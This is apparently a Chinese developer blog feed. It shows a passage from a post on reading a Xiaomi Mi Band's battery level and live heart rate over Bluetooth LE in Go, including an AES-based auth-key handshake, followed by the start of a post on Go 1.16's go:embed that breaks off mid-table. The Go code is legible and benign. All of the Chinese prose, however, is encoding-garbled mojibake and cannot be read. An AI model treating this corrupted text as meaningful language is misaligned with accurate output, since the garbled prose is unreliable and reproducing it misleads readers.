<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>services, err <span style="color:#ff7b72;font-weight:bold">:=</span> client.<span style="color:#d2a8ff;font-weight:bold">DiscoverServices</span>(<span style="color:#79c0ff">nil</span>)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"discover services"</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="æ¾å°-battery-service">æ¾å° Battery Service</h3>
<p>æ ¹æ® Bluetooth GATTï¼å
¨å¤©ä¸èç设å¤ççµæ± çµéé½ä» UUID 为 <code>0000180f-0000-1000-8000-00805f9b34fb</code> ç Service ä¸è·åãæ们对ä¸é¢ç <code>services</code> è¿è¡éåï¼è·åå° UUID 为 <code>180f</code> ç Serviceï¼å³ä¸ºçµæ± çµé Battery Serviceã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">for</span> _, service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> services {
</span></span><span style="display:flex;"><span> service <span style="color:#ff7b72;font-weight:bold">:=</span> service
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"180f"</span>: <span style="color:#8b949e;font-style:italic">// Battery</span>
</span></span><span style="display:flex;"><span> miband.battery = service
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="æ¾å°-battery-characteristic">æ¾å° Battery Characteristic</h3>
<p>åçï¼æ们åå¯»æ¾ Battery Service ä¸çææç Characteristicsãéåè·åå°ç <code>characteristics</code>ï¼æ¾å° UUID 为 <code>2a19</code> ç Characteristicã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>characteristics, err = client.<span style="color:#d2a8ff;font-weight:bold">DiscoverCharacteristics</span>(<span style="color:#79c0ff">nil</span>, miband.battery)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"discover battery service characteristics"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> _, characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> characteristics {
</span></span><span style="display:flex;"><span> characteristic <span style="color:#ff7b72;font-weight:bold">:=</span> characteristic
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> characteristic.UUID.<span style="color:#d2a8ff;font-weight:bold">String</span>() <span style="color:#ff7b72;font-weight:bold">==</span> <span style="color:#a5d6ff">"2a19"</span> {
</span></span><span style="display:flex;"><span> miband.batteryCharacteristic = characteristic
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="读åçµæ± çµéä¿¡æ¯">读åçµæ± çµéä¿¡æ¯</h3>
<p>ç»äºï¼å¨è¿ä¹ä¸ç¯å¥ä¸ç¯ä¹åï¼æ们æ¿å°äºè¿ä¸ª Characteristicï¼è¿æ¶æè½å¤ä½¿ç¨ <code>ReadCharacteristic()</code> æ¹æ³æ¥è¯»åå
¶ä¸çå
容ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>data, err <span style="color:#ff7b72;font-weight:bold">:=</span> m.client.<span style="color:#d2a8ff;font-weight:bold">ReadCharacteristic</span>(m.batteryCharacteristic)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">0</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"read characteristic"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> int(data[<span style="color:#a5d6ff">0</span>]), <span style="color:#79c0ff">nil</span>
</span></span></code></pre></div><p>å°è¿åçæ°æ®ä¸ç第ä¸ä¸ª byte 转æ¢ä¸ºåè¿å¶ï¼è¿å°±æ¯å°ç±³æç¯ççµæ± çµéäºï¼
è³æ¤ï¼ä½ å·²ç»å¦ä¼äºä» Device -> Service -> Characteristic çè¿ç¨ï¼å¹¶æå读åå°äº Characteristic ä¸çæ°æ®ãé£ä¹æ¥ä¸æ¥æ¥è·åå¿çä¿¡æ¯å§~ï¼ç¬ï¼</p>
<h2 id="使ç¨-auth-key-è¿è¡éªè¯">ä½¿ç¨ Auth Key è¿è¡éªè¯</h2>
<p>è¿è®°å¾ä¸æä¸æ们è·åå°çå°ç±³æç¯ Auth Key åï¼ç°å¨æ们è¦ä½¿ç¨å®æ¥è¿è¡éªè¯ã
ä¸æä¸ç交äºåèèªå人çå°ç±³æç¯éä¿¡ Python å®ç°ï¼<a href="https://sourcegraph.com/github.com/satcar77/miband4@master/-/blob/miband.py">https://sourcegraph.com/github.com/satcar77/miband4@master/-/blob/miband.py</a> æåªæ¯å¨è¿åºç¡ä¸ç¨ Go éåäºä¸éï¼åäºç¹å¾®å°çè´¡ç®ãð</p>
<p>åç
§ä¸æè¿ç¨ï¼è·åå° NotifyService (UUID: <code>fee1</code>) 以åå
¶ä¸ç AuthCharacteristic (UUID: <code>000000090000351221180009af100700</code>)ãæ们å°ä½¿ç¨ AuthCharacteristic æ¥è¿è¡éªè¯çéä¿¡ã</p>
<ol>
<li>注å Notification Handler
å 为èççåéä¸æ¥æ¶æ¯å¼æ¥çï¼æ以æ们éè¦ Subscribe æ¥èªå°ç±³æç¯ Characteristic ä¼ åçæ¶æ¯ï¼æ ¹æ®è¿åçæ¶æ¯åä¸ä¸æ¥å¤çã</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>err = client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(miband.authCharacteristic, <span style="color:#79c0ff">false</span>, miband.handleAuthNotification)
</span></span></code></pre></div><p><code>handleAuthNotification</code> æ¹æ³å¦ä¸ï¼å
¶å®å°±æ¯ä¸ä¸ªå¤§å¤§ç switch-caseï¼å¯¹è¿åæ¶æ¯çåä¸ä½è¿è¡å¤æï¼ä»èè¿è¡ä¸ä¸æ¥æä½ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (m <span style="color:#ff7b72;font-weight:bold">*</span>MiBand) <span style="color:#d2a8ff;font-weight:bold">handleAuthNotification</span>(data []<span style="color:#ff7b72">byte</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> string(data[:<span style="color:#a5d6ff">3</span>]) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"\x10\x01\x01"</span>:
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">"[Auth] Start to request random number..."</span>)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> m.<span style="color:#d2a8ff;font-weight:bold">requestRandomNumber</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"[Auth] Failed to request random number: %v"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"\x10\x01\x04"</span>:
</span></span><span style="display:flex;"><span> m.state = AuthKeySendingFailed
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"[Auth] Failed to send key."</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"\x10\x02\x01"</span>:
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">"[Auth] Start to send encrypt random number..."</span>)
</span></span><span style="display:flex;"><span> randomNumber <span style="color:#ff7b72;font-weight:bold">:=</span> data[<span style="color:#a5d6ff">3</span>:]
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> m.<span style="color:#d2a8ff;font-weight:bold">sendEncryptRandomNumber</span>(randomNumber); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"[Auth] Failed to send encrypt random number: %v"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"\x10\x02\x04"</span>:
</span></span><span style="display:flex;"><span> m.state = AuthRequestRandomNumberError
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"[Auth] Failed to request random number."</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"\x10\x03\x01"</span>:
</span></span><span style="display:flex;"><span> m.state = AuthSuccess
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">"[Auth] Success!"</span>)
</span></span><span style="display:flex;"><span> close(m.authed)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">"\x10\x03\x04"</span>:
</span></span><span style="display:flex;"><span> m.state = AuthEncryptionKeyFailed
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"[Auth] Encryption key auth fail, sending new key..."</span>)
</span></span><span style="display:flex;"><span> err <span style="color:#ff7b72;font-weight:bold">:=</span> m.<span style="color:#d2a8ff;font-weight:bold">sendKey</span>()
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"[Auth] Failed to send new key: %v"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">default</span>:
</span></span><span style="display:flex;"><span> m.state = AuthFailed
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"Auth failed: %v"</span>, data[:<span style="color:#a5d6ff">3</span>])
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><ol start="2">
<li>å AuthCharacteristic åé <code>\x02\x00</code>ã
æ们å
主å¨åé <code>\x02\00</code>ï¼</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>miband.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(miband.authCharacteristic, []byte(<span style="color:#a5d6ff">"\x02\x00"</span>), <span style="color:#79c0ff">false</span>)
</span></span></code></pre></div><p>ä¹åä¼æ¶å°æ¥èªå°ç±³æç¯ç以 <code>\x10\x02\x01</code> å¼å¤´çæ¶æ¯ï¼åä¸ä½ä¹åçæ¶æ¯å³ä¸ºè¿åéæºæ°ãæä»¬ä½¿ç¨ Auth Key 对è¿ä¸ªéæºæ°è¿è¡ AES å å¯åååç»å°ç±³æç¯ã
è¿æ¶è¥ Auth Key éªè¯æåï¼å°æ¶å° <code>\x10\x03\x01</code> å¼å¤´çæ¶æ¯ï¼è³æ¤æ´ä¸ªéªè¯ç»æã</p>
<div class="box-warning box"><i class="box-icon-warning"></i> <b>æå注æ</b><br> Go ç crypto æ ååºä¸ä¸å¸¦ AES ECB 模å¼çå å¯ï¼æ¾æ人å crypto æºç æ交è¿æ¯æ AES ECB 模å¼ç Pull Requestsï¼ä½è¢« Cox å 该å å¯æ¨¡å¼ä¸å®å
¨ç»æç»äºãå æ¤æè¿éå¾ææºåå·§å°å°å½æ¶è¢«ææç代ç ç´æ¥å¤å¶è¿æ¥ä½¿ç¨äºã代ç è§ï¼https://github.com/wuhan005/mebeats/blob/master/cryptoutil/aes.go
</div>
<h2 id="è·åå®æ¶å¿çä¿¡æ¯">è·åå®æ¶å¿çä¿¡æ¯</h2>
<h3 id="åç°-servicecharacteristic">åç° ServiceãCharacteristic</h3>
<p>ä¸ä¸è¿°æä½ç¸åï¼æ们éè¦å
Discover å°ç¸åºç Service 以å Service ä¸ç Characteristicã
å®ä»¬åå«æ¯ï¼</p>
<ul>
<li>HeartRate Service (UUID: <code>180d</code>)</li>
<li>HeartRate Control Characteristic (UUID: <code>2a39</code>) ç¨äºæ§å¶å¿ç模åï¼å¦å¼å§ä¸æ¬¡å¿çæ£æµï¼è®¾ç½®èªå¨å¿çæ£æµé¢çç</li>
<li>HeartRate Measure Characteristic (UUID: <code>2a37</code>) 订é
该 Characteristic 以æ¥æ¶è®¾å¤åéçå¿çä¿¡æ¯</li>
</ul>
<h3 id="订é
-measure-characteristic">订é
Measure Characteristic</h3>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>err <span style="color:#ff7b72;font-weight:bold">:=</span> m.client.<span style="color:#d2a8ff;font-weight:bold">Subscribe</span>(m.heartRateMeasureCharacteristic, <span style="color:#79c0ff">false</span>, m.handleHeartRateNotification)
</span></span></code></pre></div><p>è¿ä¸ª Characteristic è¿åçå
容å¾ç®åï¼å°±æ¯å¿çä¿¡æ¯ï¼æ们å第äºä¸ª byteï¼è½¬ä¸ºåè¿å¶å³å¯ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (m <span style="color:#ff7b72;font-weight:bold">*</span>MiBand) <span style="color:#d2a8ff;font-weight:bold">handleHeartRateNotification</span>(data []<span style="color:#ff7b72">byte</span>) {
</span></span><span style="display:flex;"><span> m.currentHeartRate = int(data[<span style="color:#a5d6ff">1</span>])
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">"Heart rate: %d"</span>, m.currentHeartRate)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="å¼å¯å®æ¶å¿çè·å">å¼å¯å®æ¶å¿çè·å</h3>
<p>è¿éæ¯å HeartRate Control Characteristic åéæ¶æ¯ï¼é¦å
æ¯åæ¢ä¹åæ£å¨è¿è¡çèªå¨ä¸æå¨å¿è·³æ£æµï¼åå¼å¯ä¸æ¬¡æå¨å¿è·³æ£æµï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Stop continuous.</span>
</span></span><span style="display:flex;"><span>err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">"\x15\x02\x00"</span>), <span style="color:#79c0ff">false</span>)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"stop continuous"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Stop manual.</span>
</span></span><span style="display:flex;"><span>err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">"\x15\x01\x00"</span>), <span style="color:#79c0ff">false</span>)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"stop manual"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Start manual.</span>
</span></span><span style="display:flex;"><span>err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">"\x15\x01\x01"</span>), <span style="color:#79c0ff">false</span>)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"start manual"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> {
</span></span><span style="display:flex;"><span> time.<span style="color:#d2a8ff;font-weight:bold">Sleep</span>(<span style="color:#a5d6ff">12</span> <span style="color:#ff7b72;font-weight:bold">*</span> time.Second)
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Trace</span>(<span style="color:#a5d6ff">"Send ping..."</span>)
</span></span><span style="display:flex;"><span> err = m.client.<span style="color:#d2a8ff;font-weight:bold">WriteCharacteristic</span>(m.heartRateControlCharacteristic, []byte(<span style="color:#a5d6ff">"\x16"</span>), <span style="color:#79c0ff">false</span>)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> log.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">"Failed to send ping: %v"</span>, err)
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}()
</span></span></code></pre></div><p>å¦ææ们ä»
åéä¸è¿°çä¸ä¸ªæ¶æ¯ï¼é£ä¹å¨ä¸å¼å§çåå ç§å
ï¼æ¯éåäºç§æ们就è½æ¶å°ä¸æ¬¡å¿çä¿¡æ¯ï¼å¨ä¹åä¼åæä¸åéææ¶å°ä¸æ¬¡ãå æ¤æèµ·äºä¸ªåç¨ï¼æ¯é 12 ç§ ping ä¸ä¸ãè¿æ ·å°±è½å¨çé´éå
ä¸ææ¶å°æ°çå¿çæ°æ®äºã</p>
<p>è³äºè¿æ°æ®è½ææ ·ç©åºè±æ¥ï¼é£å°±çåä½çæ³è±¡åäºã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>è¿ä¸ªé¡¹ç®çå®æ´ä»£ç è§ï¼<a href="https://github.com/wuhan005/mebeats">https://github.com/wuhan005/mebeats</a> ï¼ç°å¨ä½ ä¹å¯ä»¥å¨æç GitHub Profile çå°æçå®æ¶å¿è·³äºðï¼
éè¦æ³¨æçæ¯ï¼å端è¿åå¾çæ¶è®°å¾å ä¸è¿ä¸ªååºå¤´ï¼è¿æ · GitHub æä¸ä¼ç¼åè¿å¼ å¾çã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#f85149">cache-control: no-cache,max-age=0,no-store,s-maxage=0,proxy-revalidate
</span></span></span></code></pre></div><p>项ç®çå端使ç¨çæ¯ Flamego æ¡æ¶ï¼è½ç¶å¥¹ç°å¨è¿ä¸æ¯å¾å®å¤ï¼ä½è¿æ¯å¾å¸æ大家é½å»ä½éªä¸ã</p>
<p>å¨äºçæ¶åæåäºæ¡ Twitter ä»ç»äºä¸è¿ä¸ªé¡¹ç®ï¼è¢«å¤§ä½¬è½¬åå没æ³å°å±
ç¶ç«äºãð¥
Twitter ä¸å¤©å
涨äºä¸ç¾å¤ foï¼è¿å¸¦çè¿ä¸ªé¡¹ç®ç´æ¥æ¶è· 100+ starsï¼GitHub Follower ä¹ç ´ 200 äºð
ççæç¹åå® è¥æåï¼è¿å¥½è¿é¡¹ç®ä»£ç è´¨éä¸èµï¼ä¸ç®å¤ªä¸¢äººåååã
åæ¶ Twitter ä¸ä¹æ人æåºå¯¹äº Apple Watchï¼å¯ä»¥ä½¿ç¨ Short Cuts 读åå¥åº· App çå¿çæ°æ®ï¼ç¶å触å GitHub Actions æ´æ° GitHub Profile READMEï¼è¿ä¹æ¯ä¸ä¸ªå¾æ£çæè·¯ã</p>
<p>æé´è¿æäºä¸ªå°ææ²ï¼è·æè¿ä¸ªå¿è·³æå¡çæºå¨è¿è¢«äºº DDoS äºï¼æ¶å°è
¾è®¯äºçæ¥è¦åæ赶紧æ¢äºæºå¨ + ä¸ CloudFlare CDNï¼äººçº¢æ¯éå¤å……</p>
<p>ä»åå¦æè¿æ空继ç»æ¹è¿è¿ä¸ªé¡¹ç®çè¯ï¼æå
¶å®æ¯æ³åå ä¸ä¸ª Web çé¢è®©ç¨æ·è½æå¨éæ©æ³è¦è¿æ¥ç设å¤çãåæ¶è½å¤å¯¹æ¯ä¸æ¬¡çå¿è·³æ°æ®è¿è¡ä¿åãæ大æ¦ç®äºä¸ï¼å¦æä¸æ¬¡å¿è·³ä½¿ç¨ 8 bits (0~255) æ¥è¡¨ç¤ºï¼ç±»ä¼¼ Redis BitMap çæ¹å¼ï¼ä¸ç§ä¸æ¬¡å¿è·³è®°å½ï¼ä¸å¹´ä¸æ¥ä¹å°± 8 * 3600 * 24 * 365 = 252,288,000 bitsï¼çº¦çäº 30 Mbãå®å
¨æ²¡æé®é¢ï¼</p>
- éçæé½æï¼ä½ go embed 究ç«è¯¥æä¹ç¨ï¼https://github.red/go-embed/Sat, 20 Feb 2021 13:14:16 +0800https://github.red/go-embed/<h2 id="go-116-åå¸">Go 1.16 åå¸ï¼</h2>
<p>å°±å¨åå 天ï¼Go 1.16 赶å¨äºæçæ«å°¾åå¸äºã</p>
<p>对äºè¿ä¸ªçæ¬ææå¾
äºå¾ä¹
ï¼å 为å®æ¹ç»äºä»è¯è¨å±é¢è§£å³äºéææ件åµå
¥çé®é¢ââ å å
¥äº <code>go embed</code>ãä»æ¤ï¼å go-bindataãstatikãtogo çåºé½å°éåºåå²çèå°ã
åæ¶ Go 1.16 é
å¥çå å
¥äº <code>io/fs</code> æ ååºï¼æä¾äºå®ç°æ件系ç»çæ¥å£ãåæ¶å¯¹ <code>http</code>ã<code>embed</code>ã<code>os</code> æ ååºé½å å
¥äºå¯¹ <code>fs</code> åºçæ¯æã
æè®°å¾ä¹åç¨ togo åéæèµæºåµå
¥æ¶ï¼togo çæç <code>.go</code> æ件ä¸æ¯å®èªå·±å®ç°äº <code>http/fs</code> ä¸ç <code>FileSystem</code> æ¥å£ï¼ä»¥æ¤å®ç°äºä¸ä¸ªå
é¨çæ件系ç»ãç°å¨å¯ä»¥éè¿ç <code>io/fs</code> å®ç°ä¸ä¸ªåºæ¬çæ件系ç»ï¼åéè¿ <code>http.FS</code> 转æ¢ç» <code>http</code> åºä½¿ç¨ãå¯ä»¥è¯´ <code>io/fs</code> åºæéäºå
¶å®æ ååºä¸å¯¹æ件系ç»è½¬æ¢çéæ±ã</p>
<p>æ们常ç¨è¯»åæ件ç <code>io/ioutil</code> åºä¹å¨ 1.16 ä¸åäºæ¹å¨ï¼å 为社åºåæ <code>ioutil</code> è¿ä¸ªåå模棱两å¯ï¼éå° <code>io/ioutil</code> ä¸çå
ç»<em>åºå¼</em>äºã
å
·ä½åå¨å¦ä¸ï¼</p>
<table>
<thead>
<tr>
<th>Before</th>
<th>After</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Discard</code></td>
<td><code>io.Discard</code></td>
</tr>
<tr>
<td><code>NopCloser</code></td>
<td><code>io.NopCloser</code></td>
</tr>
<tr>
<td><code>ReadAll</code></td>
<td><code>io.ReadAll</code></td>
</tr>
<tr>
<td><code>ReadDir</code></td>
<td><code>os.ReadDir</code></td>
</tr>
<tr>
<td><code>ReadFile</code></td>
<td><code>os.ReadFile</code></td>
</tr>
<tr>
<td><code>TempDir</code></td>
<td><code>os.MkdirTemp</code></td>
</tr>
<tr>
<td><code>TempFile</code></td>
<td><code>os.CreateTemp</code></td>
</tr>
<tr>
<td><code>WriteFile</code></td>
<td><code>os.WriteFile</code></td>
</tr>
</tbody>
</table>
<p>éè¦æåºçæ¯ï¼ä¸æä¸ææå°çâåºå¼âï¼ä¸çæ¬çè±æ说æç¨è¯æ¯<code>Deprecated</code>ï¼<strong>ä½å¹¶ä¸æå³ç <code>io/ioutil</code> å¨æªæ¥ç Go çæ¬ä¸å°è¢«ç§»é¤ã</strong> æ们ä»ç¶å¯ä»¥ä½¿ç¨ï¼ä½æ¯ IDE ä¼å ä¸æ¨ªçº¿å¹¶æ示ä¸æ¨è使ç¨ãRuss Cox ä¹åæ¨æ确说æ <code>io/ioutil</code> åºå¹¶ä¸ä¼è¢«â移é¤âãæ³æ³ä¹æ¯ï¼Go æ¯ä¿è¯ååå
¼å®¹çåã</p>
<p>以ä¸å°±æ¯å¯¹ Go 1.16 æ´æ°ç大è´ä»ç»ï¼å¯ä»¥çå°å¤§å¤æ¹å¨é½å´ç»çæ件å¤çãä»å¤©æ³æ¥éç¹èèå
¶ä¸ç <code>go embed</code>ï¼ç½ä¸å
³äº <code>go embed</code> çæç« æå¾å¤ï¼ä½æ¯é²ææç« æå° <code>go embed</code> å¨æ们çå®é
项ç®ä¸ç©¶ç«åºè¯¥å¦ä½ä½¿ç¨ã</p>
<h2 id="ä¸çå°±ä¼ä¸ç¨å°±åº">ä¸çå°±ä¼ï¼ä¸ç¨å°±åº</h2>
<p>ææ¸ç´¢äºæºä¹
æåç°ä¸ä¸ªæ¯è¾ä¼é
çåæ³ï¼å¹¶æåå° <code>go embed</code> ç¨å°äºæåéµååç Elaina ä¸ã</p>
<p>å¨å¼å§ä»ç»ä¹åï¼æ们å
æ¥å¤ä¹ ä¸ä¸ <code>go embed</code> ç使ç¨æ¹æ³ãä¸ç§æ°æ®æ ¼å¼ä»¥å对åºç注æäºé¡¹ã
<code>go embed</code> éè¿æ³¨éçå½¢å¼è¿è¡ä½¿ç¨ãä¾å¦ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">import</span> (
</span></span><span style="display:flex;"><span> _ <span style="color:#a5d6ff">"embed"</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">//go:embed readme.md</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">var</span> intro <span style="color:#ff7b72">string</span>
</span></span></code></pre></div><p>è¿æ ·å°±å° <code>readme.md</code> æ件çå
容åµå
¥å°äº <code>intro</code> åéä¸ãGo è½å¤å
许åµå
¥çåéç±»åæå¦ä¸ä¸ç§ï¼</p>
<table>
<thead>
<tr>
<th style="text-align: center">åéç±»å</th>
<th style="text-align: center">说æ</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center"><code>[]byte</code></td>
<td style="text-align: center">ç¨äºåå¨äºè¿å¶å½¢å¼çæ°æ®ï¼æ¯å¦å¾çãå¯åªä½çã</td>
</tr>
<tr>
